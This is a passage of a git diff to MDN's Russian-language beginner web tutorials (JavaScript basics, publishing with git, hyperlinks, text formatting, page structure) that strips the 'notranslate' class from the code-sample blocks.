notranslate">alert('hello!');</pre> + <pre class="brush: js">alert('hello!');</pre> </li> </ol> @@ -274,14 +274,14 @@ if (iceCream === 'chocolate') { <p>Хорошая новость заключается в том, что вы можете определить свои собственные функции — в следующем примере мы напишем простую функцию, которая принимает два числа в качестве аргументов и умножает их:</p> -<pre class="brush: js notranslate">function multiply(num1,num2) { +<pre class="brush: js">function multiply(num1,num2) { var result = num1 * num2; return result; }</pre> <p>Попробуйте запустить вышеупомянутую функцию в консоли, затем попробуйте изменить аргументы, например:</p> -<pre class="brush: js notranslate">multiply(4,7); +<pre class="brush: js">multiply(4,7); multiply(20,20); multiply(0.5,3);</pre> @@ -293,7 +293,7 @@ multiply(0.5,3);</pre> <p>Для создания действительной интерактивности на веб-сайте вам необходимы события. События — это структура, которая следит за тем, что происходит в браузере, а затем позволяет вам запускать код в ответ на это. Наиболее очевидным является <a href="/ru/docs/Web/Events/click">событие клика</a>, которое вызывается браузером, когда мы щёлкаем по чему-то мышью. Для демонстрации этого события введите следующую команду в вашу консоль, а затем щёлкните по текущей веб-странице:</p> -<pre class="brush: js notranslate">document.querySelector('html').onclick = function() { +<pre class="brush: js">document.querySelector('html').onclick = function() { alert('Ouch! Stop poking me!'); }</pre> @@ -301,11 +301,11 @@ multiply(0.5,3);</pre> <p>Обратите внимание, что</p> -<pre class="brush: js notranslate">document.querySelector('html').onclick = function() {};</pre> +<pre class="brush: js">document.querySelector('html').onclick = function() {};</pre> <p>эквивалентно</p> -<pre class="brush: js notranslate">var myHTML = document.querySelector('html'); +<pre class="brush: js">var myHTML = document.querySelector('html'); myHTML.onclick = function() {};</pre> <p>Просто так короче.</p> @@ -323,7 +323,7 @@ myHTML.onclick = function() {};</pre> <li>Сохраните изображение в вашу папку <code>images</code>.</li> <li>Переименуйте это изображение в 'firefox2.png' (без кавычек).</li> <li>Перейдите в ваш файл <code>main.js</code> и введите следующий JavaScript. (Если ваш "hello world" JavaScript по-прежнему существует, удалите его.) - <pre class="brush: js notranslate">var myImage = document.querySelector('img'); + <pre class="brush: js">var myImage = document.querySelector('img'); myImage.onclick = function() { var mySrc = myImage.getAttribute('src'); @@ -356,21 +356,21 @@ myImage.onclick = function() { <ol> <li>В <code>index.html</code>, добавьте следующую строку перед элементом {{htmlelement("script")}}: - <pre class="brush: html notranslate"><button>Change user</button></pre> + <pre class="brush: html"><button>Change user</button></pre> </li> <li>В <code>main.js</code>, добавьте следующий код в конец файла, точно так, как написано - он захватит ссылки на новую кнопку и заголовок, и сохранит их в переменные: - <pre class="brush: js notranslate">var myButton = document.querySelector('button'); + <pre class="brush: js">var myButton = document.querySelector('button'); var myHeading = document.querySelector('h1');</pre> </li> <li>Теперь добавьте следующую функцию для установки персонализированного приветствия - она ничего не будет делать, но мы будем использовать её позже: - <pre class="brush: js notranslate">function setUserName() { + <pre class="brush: js">function setUserName() { var myName = prompt('Please enter your name.'); localStorage.setItem('name', myName); myHeading.<span class="pl-smi">textContent</span> = 'Mozilla is cool, ' + myName; }</pre> Эта функция содержит функцию <a href="/ru/docs/Web/API/Window.prompt"><code>prompt()</code></a>, которая вызывает диалоговое окно, немного похожее на <code>alert()</code> кроме того, что <code>prompt()</code> просит пользователя ввести некоторые данные, и сохраняет эти данные в переменной, после того как пользователь нажимает <strong>OK</strong>. В данном случае, мы просим пользователя ввести его имя. Далее, мы вызываем API под названием <code>localStorage</code>, который позволяет нам хранить данные в браузере и извлекать их позднее. Мы используем функцию <code>setItem()</code> из localStorage для создания и хранения данных в свойстве под названием <code>'name'</code>, и устанавливаем это значение в переменную <code>myName</code>, которая содержит имя введённое пользователем. В конце мы устанавливаем <code>textContent</code> заголовку в виде строки и имени пользователя.</li> <li>Затем добавьте блок <code>if ... else</code> - мы могли бы назвать это кодом инициализации, поскольку он структурирует приложение при его первой загрузке: - <pre class="brush: js notranslate">if(!localStorage.getItem('name')) { + <pre class="brush: js">if(!localStorage.getItem('name')) { setUserName(); } else { var storedName = localStorage.getItem('name'); @@ -378,7 +378,7 @@ var myHeading = document.querySelector('h1');</pre> }</pre> Этот блок сначала использует оператор отрицания (логическое НЕ, представленное в виде !) чтобы проверить, существуют ли данные в пункте <code>name</code>. Если нет, то функция <code>setUserName()</code> запускается для их создания. Если данные существуют (то есть, пользователь установил его во время предыдущего посещения), мы извлекаем сохранённое имя, с помощью <code>getItem()</code> и устанавливаем <code>textContent</code> заголовку в виде строки плюс имя пользователя, так же, как мы делали внутри <code>setUserName()</code>.</li> <li>Наконец, установите обработчик события <code>onclick</code> на кнопку. При нажатии кнопки запускается функция <code>setUserName()</code>. Это позволяет пользователю установить новое имя, всякий раз, когда он захочет, нажатием кнопки: - <pre class="brush: js notranslate">myButton.onclick = function() { + <pre class="brush: js">myButton.onclick = function() { setUserName(); } </pre> diff --git a/files/ru/learn/getting_started_with_the_web/publishing_your_website/index.html b/files/ru/learn/getting_started_with_the_web/publishing_your_website/index.html index 2b443ac661..b53c8d1179 100644 --- a/files/ru/learn/getting_started_with_the_web/publishing_your_website/index.html +++ b/files/ru/learn/getting_started_with_the_web/publishing_your_website/index.html @@ -117,20 +117,20 @@ translation_of: Learn/Getting_started_with_the_web/Publishing_your_website <ol> <li>Укажите в командной строке каталог <code>test-site</code> (или другое название каталога, содержащего ваш сайт). Для этого используйте команду <code>cd</code> (т.е. «change directory»). Вот то, что вы наберёте, если разместили свой веб-сайт в каталоге под названием <code>test-site</code> на рабочем столе: - <pre class="brush: bash notranslate">cd Desktop/test-site</pre> + <pre class="brush: bash">cd Desktop/test-site</pre> </li> <li>Когда командная строка указывает внутрь вашего каталога веб-сайта, введите следующую команду, которая сообщает инструменту <code>git</code>, чтобы он превратил каталог в репозиторий git: - <pre class="brush: bash notranslate">git init</pre> + <pre class="brush: bash">git init</pre> </li> <li>Далее вернёмся к сайту GitHub. На текущей странице вас интересует раздел "…or push an existing repository from the command line". Вы должны увидеть две строки кода в этом разделе. Скопируйте всю первую строку, вставьте её в командную строку и нажмите Enter. Команда должна выглядеть примерно так: - <pre class="brush: bash notranslate">git remote add origin https://github.com/bobsmith/bobsmith.github.io.git</pre> + <pre class="brush: bash">git remote add origin https://github.com/bobsmith/bobsmith.github.io.git</pre> </li> <li>Далее введите следующие две команды, нажимая Enter после каждой. Это подготовит код к загрузке на GitHub, и укажет Git управлять этими файлами. - <pre class="brush: bash notranslate">git add --all + <pre class="brush: bash">git add --all git commit -m 'adding my files to my repository'</pre> </li> <li>Наконец, загрузите код на GitHub - вернитесь на веб-страницу GitHub, на которой вы находились, и введите в терминал команду: - <pre class="brush: bash notranslate">git push -u origin master</pre> + <pre class="brush: bash">git push -u origin master</pre> </li> <li>Теперь, когда вы перейдёте по веб-адресу, созданному в GitHub, в новом окне браузера (<em>username.github.io</em>), вы увидите ваш сайт онлайн! Разошлите ссылку вашим друзьям, пусть оценят ваше мастерство.</li> </ol> @@ -143,7 +143,7 @@ git commit -m 'adding my files to my repository'</pre> <p>Если вы хотите сделать больше изменений на своём тестовом сайте и загрузить их в GitHub, вам просто нужно внести изменения в свои файлы, как и раньше. Затем вам нужно ввести следующие команды (нажав Enter после каждого), чтобы вставить эти изменения в GitHub:</p> -<pre class="notranslate">git add --all +<pre>git add --all git commit -m 'another commit' git push</pre> diff --git a/files/ru/learn/getting_started_with_the_web/the_web_and_web_standards/index.html b/files/ru/learn/getting_started_with_the_web/the_web_and_web_standards/index.html index e7ab712e26..8299e2a619 100644 --- a/files/ru/learn/getting_started_with_the_web/the_web_and_web_standards/index.html +++ b/files/ru/learn/getting_started_with_the_web/the_web_and_web_standards/index.html @@ -71,7 +71,7 @@ original_slug: Learn/Getting_started_with_the_web/Веб_и_веб_станда <p>Hypertext Transfer Protocol, or <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP">HTTP</a>, is a messaging protocol that allows web browsers to communicate with web servers (where web sites are stored). A typical conversation goes something like</p> -<pre class="notranslate">"Hello web server. Can you give me the files I need to render bbc.co.uk"? +<pre>"Hello web server. Can you give me the files I need to render bbc.co.uk"? "Sure thing web browser — here you go" @@ -87,7 +87,7 @@ original_slug: Learn/Getting_started_with_the_web/Веб_и_веб_станда <li> <p>Hypertext markup language, or <strong>HTML</strong>, is a markup language consisting of different elements you can wrap (mark up) content in to give it meaning (semantics) and structure. Simple HTML looks like this:</p> - <pre class="brush: html notranslate"><h1>This is a top-level heading</h1> + <pre class="brush: html"><h1>This is a top-level heading</h1> <p>This is a paragraph of text.</p> @@ -98,7 +98,7 @@ original_slug: Learn/Getting_started_with_the_web/Веб_и_веб_станда <li> <p>Cascading Style Sheets (<strong>CSS</strong>) is a rule-based language used to apply styles to your HTML, for example setting text and background colors, adding borders, animating things, or laying out a page in a certain way. As a simple example, the following code would turn our HTML paragraph red:</p> - <pre class="brush: css notranslate">p { + <pre class="brush: css">p { color: red; }</pre> @@ -107,7 +107,7 @@ original_slug: Learn/Getting_started_with_the_web/Веб_и_веб_станда <li> <p><strong>JavaScript</strong> is the programming language we use to add interactivity to web sites, from dynamic style switching, to fetching updates from the server, right through to complex 3D graphics. The following simple JavaScript will store a reference to our paragraph in memory and change the text inside it:</p> - <pre class="brush: js notranslate">let pElem = document.querySelector('p'); + <pre class="brush: js">let pElem = document.querySelector('p'); pElem.textContent = 'We changed the text!';</pre> <p>In the house analogy, JavaScript is like the cooker, TV, Microwave, or hairdryer — the things that give your house useful functionality</p> diff --git a/files/ru/learn/html/introduction_to_html/advanced_text_formatting/index.html b/files/ru/learn/html/introduction_to_html/advanced_text_formatting/index.html index b082eab08e..fbdc97774a 100644 --- a/files/ru/learn/html/introduction_to_html/advanced_text_formatting/index.html +++ b/files/ru/learn/html/introduction_to_html/advanced_text_formatting/index.html @@ -38,7 +38,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Advanced_text_formatting <p>Давайте рассмотрим пример набора терминов и определений:</p> -<pre class="notranslate">Солилоквий +<pre>Солилоквий Драматическая речь, в которой персонаж разговаривает сам с собой, передавая свои ощущения и мысли публике (но не другим персонажам). Монолог Драматическая речь, в которой персонаж передаёт свои мысли публике и некоторым персонажам. @@ -49,7 +49,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Advanced_text_formatting <p>Закончим разметку нашего примера:</p> -<pre class="brush: html notranslate"><dl> +<pre class="brush: html"><dl> <dt>Солилоквий</dt> <dd>Драматическая речь, в которой персонаж разговаривает сам с собой, передавая свои ощущения и мысли публике (но не другим персонажам).</dd> <dt>Монолог</dt> @@ -86,7 +86,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Advanced_text_formatting <div class="hidden"> <h6 id="Playable_code">Playable code</h6> -<pre class="brush: html notranslate"><h2>Результат</h2> +<pre class="brush: html"><h2>Результат</h2> <div class="output" style="min-height: 50px;"> </div> @@ -108,7 +108,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Advanced_text_formatting <input id="solution" type="button" value="Показать решение"> </div></pre> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-family: sans-serif; } @@ -128,7 +128,7 @@ body { background: #f5f9fa; }</pre> -<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +<pre class="brush: js">var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -219,12 +219,12 @@ textarea.onkeyup = function(){ <p class="syntaxbox">Например, следующая разметка берётся из страницы элемента MDN <code><strong><blockquote></strong></code>:</p> -<pre class="brush: html notranslate"><p><strong>HTML-элемент<code>&lt;blockquote&gt;</code></strong> (от англ. <em>HTML Block +<pre class="brush: html"><p><strong>HTML-элемент<code>&lt;blockquote&gt;</code></strong> (от англ. <em>HTML Block Quotation Element</em>) указывает на то, что заключённый в нём текст является развёрнутой цитатой.</p></pre> <p>Чтобы превратить её в блочную цитату, мы просто делаем следующее:</p> -<pre class="brush: html notranslate"><blockquote cite="https://developer.mozilla.org/ru/docs/Web/HTML/Element/blockquote"> +<pre class="brush: html"><blockquote cite="https://developer.mozilla.org/ru/docs/Web/HTML/Element/blockquote"> <p><strong>HTML-элемент<code>&lt;blockquote&gt;</code></strong> (от англ. <em>HTML Block Quotation Element</em>) указывает на то, что заключённый в нём текст является развёрнутой цитатой.</p> </blockquote></pre> @@ -238,7 +238,7 @@ Quotation Element</em>) указывает на то, что заключ <p>Строчные цитаты работают точно так же, за исключением того, что они используют элемент {{htmlelement ("q")}}. Например, следующий кусочек разметки содержит цитату из страницы <code><q></code> MDN:</p> -<pre class="brush: html notranslate"><p>Элемент цитирования — <code>&lt;q&gt;</code> — <q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">предназначен +<pre class="brush: html"><p>Элемент цитирования — <code>&lt;q&gt;</code> — <q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">предназначен для коротких цитат, не требующих прерывания абзаца</q>.</p></pre> <p>Стиль браузера по умолчанию будет отображать это как обычный текст, заключённый в кавычки для обозначения цитаты, например:</p> @@ -249,7 +249,7 @@ Quotation Element</em>) указывает на то, что заключ <p>Содержание атрибута {{htmlattrxref ("cite", "blockquote")}} выглядит полезным, но, к сожалению, браузерам, программам чтения с экрана и т. д. оно на самом деле мало чем помогает. Невозможно заставить браузер отображать содержимое атрибута <code><cite></code> без написания собственного решения с использованием JavaScript или CSS. Если вы хотите, чтобы источник цитирования был доступен на странице, лучший способ его разметки - поместить элемент {{htmlelement ("cite")}} рядом с элементом цитаты (или внутри него). Это действительно будет означать то, что имя источника цитаты — то есть имя книги или имя человека, которое произвело цитату, — будет включено в текст. Нет причин, по которым вы не могли бы связать текст внутри <code><cite></code> с источником цитаты:</p> -<pre class="brush: html notranslate"><p>Как указано в статье о <a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/blockquote"> +<pre class="brush: html"><p>Как указано в статье о <a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/blockquote"> <cite>блочных цитатах</cite></a>: </p> @@ -286,7 +286,7 @@ Quotation Element</em>) указывает на то, что заключ <div class="hidden"> <h6 id="Playable_code_2">Playable code</h6> -<pre class="brush: html notranslate"><h2>Результат</h2> +<pre class="brush: html"><h2>Результат</h2> <div class="output" style="min-height: 50px;"> </div> @@ -305,7 +305,7 @@ Quotation Element</em>) указывает на то, что заключ <input id="solution" type="button" value="Показать решение"> </div></pre> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-family: sans-serif; } @@ -325,7 +325,7 @@ body { background: #f5f9fa; }</pre> -<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +<pre class="brush: js">var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -412,7 +412,7 @@ textarea.onkeyup = function(){ <p>Давайте рассмотрим несколько примеров:</p> -<pre class="notranslate"><p>Мы используем <abbr title="Hypertext Markup Language">HTML</abbr> для структурирования наших веб-документов.</p> +<pre><p>Мы используем <abbr title="Hypertext Markup Language">HTML</abbr> для структурирования наших веб-документов.</p> <p>Я думаю, <abbr title="Почтенный">Почт.</abbr> Грин сделал это на кухне с бензопилой.</p> </pre> @@ -434,7 +434,7 @@ textarea.onkeyup = function(){ <div class="hidden"> <h6 id="Playable_code_3">Playable code</h6> -<pre class="brush: html notranslate"><h2>Результат</h2> +<pre class="brush: html"><h2>Результат</h2> <div class="output" style="min-height: 50px;"> </div> @@ -451,7 +451,7 @@ textarea.onkeyup = function(){ <input id="solution" type="button" value="Показать решение"> </div></pre> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-family: sans-serif; } @@ -471,7 +471,7 @@ body { background: #f5f9fa; }</pre> -<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +<pre class="brush: js">var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -556,13 +556,13 @@ textarea.onkeyup = function(){ <p>HTML имеет элемент для разметки контактных данных — {{htmlelement ("address")}}. Он просто обёртывает ваши контактные данные, например:</p> -<pre class="brush: html notranslate"><address> +<pre class="brush: html"><address> <p>Крис Миллс, Манчестер, Жестокий Север, РФ</p> </address></pre> <p>Однако следует помнить, что элемент {{htmlelement ("address")}} предназначен для разметки контактных данных человека, который написал HTML-документ, а не <em>любого </em>адреса. Таким образом, написанное выше было бы корректным только в том случае, если бы Крис написал документ, на котором появляется разметка. Обратите внимание, что следующее также подойдёт:</p> -<pre class="brush: html notranslate"><address> +<pre class="brush: html"><address> <p>Автор страницы — <a href="../authors/chris-mills/">Крис Миллс</a>.</p> </address></pre> @@ -572,7 +572,7 @@ textarea.onkeyup = function(){ <p>Приведём пример:</p> -<pre class="brush: html notranslate"><p>Я просыпаюсь в 6<sup>35</sup> часов утра.</p> +<pre class="brush: html"><p>Я просыпаюсь в 6<sup>35</sup> часов утра.</p> <p>Химическая формула кофеина: C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>.</p> <p>Если x<sup>2</sup> равно 9, x должен равняться 3 или -3.</p></pre> @@ -622,7 +622,7 @@ para.onclick = function() { <p>HTML также содержит элемент {{htmlelement ("time")}} для отметки времени и дат в машиночитаемом формате. Например:</p> -<pre class="brush: html notranslate"><<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2020-01-20<span class="pl-pds">"</span></span>>20 Января 2020</<span class="pl-ent">time</span>></pre> +<pre class="brush: html"><<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2020-01-20<span class="pl-pds">"</span></span>>20 Января 2020</<span class="pl-ent">time</span>></pre> <p>Почему это полезно? Ну, есть много разных способов, которыми люди записывают даты. Вышеуказанная дата может быть записана как:</p> @@ -641,7 +641,7 @@ para.onclick = function() { <p>В приведённом выше базовом примере приведена простая машиносчитываемая дата, но есть много других возможных вариантов, например:</p> -<pre class="brush: html notranslate"><!-- Стандартная дата --> +<pre class="brush: html"><!-- Стандартная дата --> <<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2020-01-20<span class="pl-pds">"</span></span>>20 Января 2020</<span class="pl-ent">time</span>> <!-- Только год и месяц --> <<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2020-01<span class="pl-pds">"</span></span>>Январь 2020</<span class="pl-ent">time</span>> diff --git a/files/ru/learn/html/introduction_to_html/creating_hyperlinks/index.html b/files/ru/learn/html/introduction_to_html/creating_hyperlinks/index.html index 40ef7f1d99..5137a61e4e 100644 --- a/files/ru/learn/html/introduction_to_html/creating_hyperlinks/index.html +++ b/files/ru/learn/html/introduction_to_html/creating_hyperlinks/index.html @@ -50,7 +50,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс <p><span id="result_box" lang="ru"><span class="alt-edited">Простая ссылка создаётся путём обёртывания текста (или другого содержимого, смотрите </span></span>{{anch("Ссылки-блоки")}}<span lang="ru"><span class="alt-edited">), который вы хотите превратить в ссылку, в элемент {{htmlelement ("a")}}, и придания этому элементу атрибута {{htmlattrxref ("href", "a")}} (который также известен как <strong>гипертекстовая ссылка,</strong> или <strong>цель</strong>), который будет содержать веб-адрес, на который вы хотите указать ссылку.</span></span></p> -<pre class="brush: html notranslate"><p>Я создал ссылку на +<pre class="brush: html"><p>Я создал ссылку на <a href="https://www.mozilla.org/ru/">домашнюю страницу Mozilla</a>. </p></pre> @@ -62,7 +62,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс <p>Другим атрибутом, который вы можете добавить к своим ссылкам, является — <code>title</code>. Он предназначен для хранения полезной информации о ссылке. Например, какую информацию содержит страница или другие вещи, о которых вам нужно знать. Например:</p> -<pre class="brush: html notranslate"><p>Я создал ссылку на +<pre class="brush: html"><p>Я создал ссылку на <a href="https://www.mozilla.org/ru/" title="Лучшее место для поиска дополнительной информации о миссии Mozilla и о том, как внести свой вклад">домашнюю страницу Mozilla @@ -91,7 +91,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс <p>Как упоминалось ранее, вы можете превратить любой элемент в ссылку, даже <a href="/en-US/Learn/HTML/Introduction_to_HTML/Getting_started#Block_versus_inline_elements">блочный элемент</a>. Если у вас есть изображение, которые вы хотели бы превратить в ссылку, вы можете просто поместить изображение между тегами <code><a></a>.</code></p> -<pre class="brush: html notranslate"><a href="https://www.mozilla.org/ru/"> +<pre class="brush: html"><a href="https://www.mozilla.org/ru/"> <img src="mozilla-image.png" alt="логотип mozilla со ссылкой на их домашнюю страницу"> </a></pre> @@ -117,7 +117,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс <li> <p><strong>Тот же каталог</strong>: Если вы хотите подключить ссылку внутри <code>index.html</code> (верхний уровень <code>index.html</code>), указывающую на <code>contacts.html</code>, вам просто нужно указать имя файла, на который вы хотите установить ссылку, так как он находится в том же каталоге, что и текущий файл. Таким образом, URL-адрес, который вы используете — <code>contacts.html</code>:</p> - <pre class="brush: html notranslate"><p>Хотите связаться с конкретным сотрудником? + <pre class="brush: html"><p>Хотите связаться с конкретным сотрудником? Найдите подробную информацию на нашей <a href="contacts.html">странице контактов</a>. </p></pre> @@ -125,14 +125,14 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс <li> <p><strong>Перемещение вниз в подкаталоги</strong>: Если вы хотите подключить ссылку внутри <code>index.html</code> (верхний уровень <code>index.html<font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">), указывающую на </span></font></code><code>projects/index.html</code>, вам нужно спуститься ниже в директории <code>projects</code> перед тем, как указать файл, который вы хотите. Это делается путём указания имени каталога, после которого идёт слеш и затем имя файла. Итак, URL-адрес, который вы используете - <code>projects/index.html</code>:</p> - <pre class="brush: html notranslate"><p>Посетите мою + <pre class="brush: html"><p>Посетите мою <a href="projects/index.html">домашнюю страницу проекта</a>. </p></pre> </li> <li> <p><strong>Перемещение обратно в родительские каталоги</strong>: Если вы хотите подключить ссылку внутри <code>projects/index.html</code>, указывающую на <code>pdfs/project-brief.pdf</code>, вам нужно будет подняться на уровень каталога, затем спустится в каталог <code>pdf</code>. "Подняться вверх на уровень каталога" обозначается двумя точками — <code>..</code> — так, URL-адрес, который вы используете <code>../pdfs/project-brief.pdf</code>:</p> - <pre class="brush: html notranslate"><p>Ссылка на + <pre class="brush: html"><p>Ссылка на <a href="../pdfs/project-brief.pdf">краткое описание моего проекта</a>. </p></pre> </li> @@ -147,17 +147,17 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс <p>Можно ссылаться на определённую часть документа HTML (известную как <strong>фрагмент документа</strong>), а не только на верхнюю часть документа. Для этого вам сначала нужно назначить атрибут {{htmlattrxref("id")}} элементу, с которым вы хотите связаться. Обычно имеет смысл ссылаться на определённый заголовок, поэтому это выглядит примерно так:</p> -<pre class="brush: html notranslate"><h2 id="Почтовый_адрес">Почтовый адрес</h2></pre> +<pre class="brush: html"><h2 id="Почтовый_адрес">Почтовый адрес</h2></pre> <p>Затем, чтобы связаться с этим конкретным <code>id</code>, вы должны включить его в конец URL-адреса, которому предшествует знак решётки, например:</p> -<pre class="brush: html notranslate"><p>Хотите написать мне письмо? Используйте наш +<pre class="brush: html"><p>Хотите написать мне письмо? Используйте наш <a href="contacts.html#Почтовый_адрес">почтовый адрес</a>. </p></pre> <p>Вы даже можете использовать ссылку на фрагмент документа отдельно для ссылки на <em>другую часть того же документа</em>:</p> -<pre class="brush: html notranslate"><p> +<pre class="brush: html"><p> <a href="#Почтовый_адрес">Почтовый адрес кампании</a> можно найти в нижней части этой страницы. </p></pre> @@ -203,13 +203,13 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс <p><em><strong>Хороший</strong> текст ссылки:</em> <a href="https://firefox.com">Скачать Firefox</a></p> -<pre class="brush: html notranslate"><p><a href="https://firefox.com/"> +<pre class="brush: html"><p><a href="https://firefox.com/"> Скачать Firefox </a></p></pre> <p><em><strong>Плохой</strong> текст ссылки:</em> <a href="https://firefox.com/">Нажми сюда</a>, чтобы скачать Firefox</p> -<pre class="brush: html notranslate"><p><a href="https://firefox.com/"> +<pre class="brush: html"><p><a href="https://firefox.com/"> Нажми сюда </a> чтобы скачать Firefox</p> @@ -244,7 +244,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс <p>Посмотрите на примеры, чтобы увидеть, как добавить описание:</p> -<pre class="brush: html notranslate"><p><a href="http://www.example.com/large-report.pdf"> +<pre class="brush: html"><p><a href="http://www.example.com/large-report.pdf"> Скачать отчёт о продажах (PDF, 10MB) </a></p> @@ -260,7 +260,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс <p>Когда создаёте ссылку на файл, который должен быть загружен, а не открыт в браузере, можете использовать атрибут <code>download</code>, чтобы создать имя файла по умолчанию для сохранения . Приведём пример ссылки для загрузки браузера Firefox 39:</p> -<pre class="brush: html notranslate"><a href="https://download.mozilla.org/?product=firefox-39.0-SSL&os=win&lang=en-US" +<pre class="brush: html"><a href="https://download.mozilla.org/?product=firefox-39.0-SSL&os=win&lang=en-US" download="firefox-39-installer.exe"> Скачать Firefox 39 для Windows </a></pre> @@ -301,7 +301,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс <p>Самыми простыми и часто используемыми формами <code>mailto:</code> являются <em>subject</em>, <em>cc</em>,<em> bcc</em> и <em>body</em>; дальше прописываем адрес электронной почты. Например:</p> -<pre class="brush: html notranslate"><a href="mailto:nowhere@mozilla.org">Отправить письмо для nowhere</a> +<pre class="brush: html"><a href="mailto:nowhere@mozilla.org">Отправить письмо для nowhere</a> </pre> <p>В результате получим ссылку вида: <a href="mailto:nowhere@mozilla.org">Отправить письмо для nowhere</a>.</p> @@ -314,7 +314,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс <p>Вот пример который включает cc(кому отправить копию сообщения, все получатели письма видят список тех кто это письмо получит), bcc(скрытый адрес получателя, никто из получателей не будет видеть полный список получателей письма), subject(тема письма) и body(текст сообщения):</p> -<pre class="brush: html notranslate"><a href="mailto:nowhere@mozilla.org?cc=name2@rapidtables.com&bcc=name3@rapidtables.com&amp;subject=The%20subject%20of%20the%20email &amp;body=The%20body%20of%20the%20email"> +<pre class="brush: html"><a href="mailto:nowhere@mozilla.org?cc=name2@rapidtables.com&bcc=name3@rapidtables.com&amp;subject=The%20subject%20of%20the%20email &amp;body=The%20body%20of%20the%20email"> Send mail with cc, bcc, subject and body </a></pre> diff --git a/files/ru/learn/html/introduction_to_html/document_and_website_structure/index.html b/files/ru/learn/html/introduction_to_html/document_and_website_structure/index.html index 430ac96483..b4d312b67b 100644 --- a/files/ru/learn/html/introduction_to_html/document_and_website_structure/index.html +++ b/files/ru/learn/html/introduction_to_html/document_and_website_structure/index.html @@ -78,7 +78,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум <p>Наш пример, представленный выше, содержит следующий код (Вы также можете <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/document_and_website_structure/index.html">найти пример в нашем репозитории Github</a>). Мы хотели бы, чтобы вы взглянули на приведённый выше пример, а затем просмотрели код ниже, чтобы узнать, из каких частей он состоит.</p> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta charset="utf-8"> @@ -184,7 +184,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум <p>{{HTMLElement("span")}} — это строчный несемантический элемент, который стоит использовать только если вы не можете подобрать более подходящий семантический текстовый элемент для обёртывания контента или если не хотите добавлять какие-либо конкретные значения. Например:</p> -<pre class="brush: html notranslate"><p>Пьяный Король возвратился в свою комнату в 01:00 +<pre class="brush: html"><p>Пьяный Король возвратился в свою комнату в 01:00 и всё никак не мог войти в дверь: хмель мешал <span class="editor-note">[Примечание редактора: В этот момент свет на сцене должен быть приглушён]</span>.</p></pre> @@ -192,7 +192,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум <p>{{HTMLElement("div")}} — это блочный несемантический элемент, который следует использовать только если вы не можете подобрать более подходящий семантический блочный элемент или если не хотите добавлять какие-либо конкретные значения. Например, представьте виджет корзины в интернет-магазине, который вы можете открыть в любой момент нахождения на сайте:</p> -<pre class="brush: html notranslate"><div class="shopping-cart"> +<pre class="brush: html"><div class="shopping-cart"> <h2>Корзина</h2> <ul> <li> @@ -218,7 +218,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум <p><code><br></code> создаёт разрыв строки в абзаце, и это единственный способ изменить жёсткую структуру в ситуации, когда вам нужна серия фиксированных коротких строк, например, в почтовом адресе или стихотворении. Пример:</p> -<pre class="brush: html notranslate"><p>Жила-была девчушка Нелл,<br> +<pre class="brush: html"><p>Жила-была девчушка Нелл,<br> Любившая писать HTML:<br> Её семантика ужасна была — <br> Она и сама прочитать ничего не могла.</p></pre> @@ -232,7 +232,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум <p><code><hr></code> создаёт горизонтальный разделитель в документе, это означает тематическое изменение текста (например, изменение темы или сцены). Визуально он просто похож на горизонтальную линию. В качестве примера:</p> -<pre class="notranslate"><p>Рон был зажат в углу адскими тварями. Он боялся, но твёрдо решил защитить своих друзей, поднял свою волшебную палочку и приготовился к битве, надеясь, что справится со своим несчастьем.</p> +<pre><p>Рон был зажат в углу адскими тварями. Он боялся, но твёрдо решил защитить своих друзей, поднял свою волшебную палочку и приготовился к битве, надеясь, что справится со своим несчастьем.</p> <hr> <p>Тем временем Гарри сидел дома с раскрытым указом и размышлял о том, когда выйдут новые серии спин-оффов; в это время зачарованное письмо пархнуло в окно и приземлилось у него на коленях. Он прочитал его и подскочил на 